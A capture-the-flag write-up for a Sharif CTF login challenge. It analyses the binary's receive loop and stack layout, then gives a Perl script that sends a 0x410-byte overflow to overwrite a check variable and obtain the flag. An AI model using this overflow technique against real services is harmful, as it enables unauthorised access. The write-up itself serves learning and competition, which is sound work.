Can you login to this system without username and password?
telnet ctf.sharif.edu 27515
When connecting over telnet or nectat, we are given a prompt for a username and password:
Please enter your username and then press enter: admin Please enter your password and then press enter: test Invalid username or password
There's no obvious clues here, so let's go straight into the binary.
Here is where the password loop and check is:
Note that I took the liberty to rename the stack address of what we need to control to
Lets cut the graph and just look at the loop:
This loop is pretty easy to follow. First, we have the condition for ending the loop. If there is a newline in the string, then we should stop trying to receive data, otherwise, attempt to read 0x800 bytes and place it in
haystack. Once it reads a newline, we go to the subroutine on the left. The haystack is then
strcpy'd into var_4E0. The
cmp instruction tests the value of the canary. If it's a 1, it passes the test, otherwise, it fails. This stack variable is set to 0 at the beginning of the program.
Knowing this, lets take a look on how the stack is laid out:
var_4E0: rbp-0x4e0 Haystack: rbp-0x430 canary: rbp-0x20 fd: rbp-0x8
Before we get into the exploit, lets look at where the
jnz goes if the
cmp is true or false. If the
jnz passes, then we get "invalid password". If it passes, we get the flag.
Looks like we could either overflow
dest to get to the canary. But we must be careful not to overwrite
fd so the program will still continue to work after the overflow.
From first glance, we have two avenues for exploitation:
If we want to overflow
var_4E0, we need to insert
0x4e0 - 0x20 = 0x4c0 bytes. There is a problem however, in order for our input to get into
var_4E0, our data first will be inserted into
recv then copied to
strcpy. If we calculate the offset where our data will end, we have
-0x430 + 0x4c0 = +0x90, that goes too far beyond our limit. If we did that we will overwrite
fd and problem other things. That will break the program before we get the flag.
Let's take a look at the second option. We overflow
Haystack without overflowing
var_4E0 too much. Let's calculate what we need:
0x430 - 0x20 = 0x410 bytes That will put us right at the canary, then we can send a
0x01 to overwrite the canary and get the flag. I wrote a perl script to do this:
#!/usr/bin/perl use IO::Socket; $username = "admin\n"; $password = "A" x 0x410 . "\x01\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "ctf.sharif.edu", PeerPort => "27515", ); $socket->recv($serverdata, 1024); print $serverdata; $socket->send($username); $socket->recv($serverdata, 1024); print $serverdata; $socket->send($password); $socket->recv($serverdata, 1024); print $serverdata;
Running the script, we get:
Please enter your username and then press enter: Please enter your password and then press enter: You are already logged in! Your flag is: cgjxkkbmdhudbovtezyv
Submit the flag :)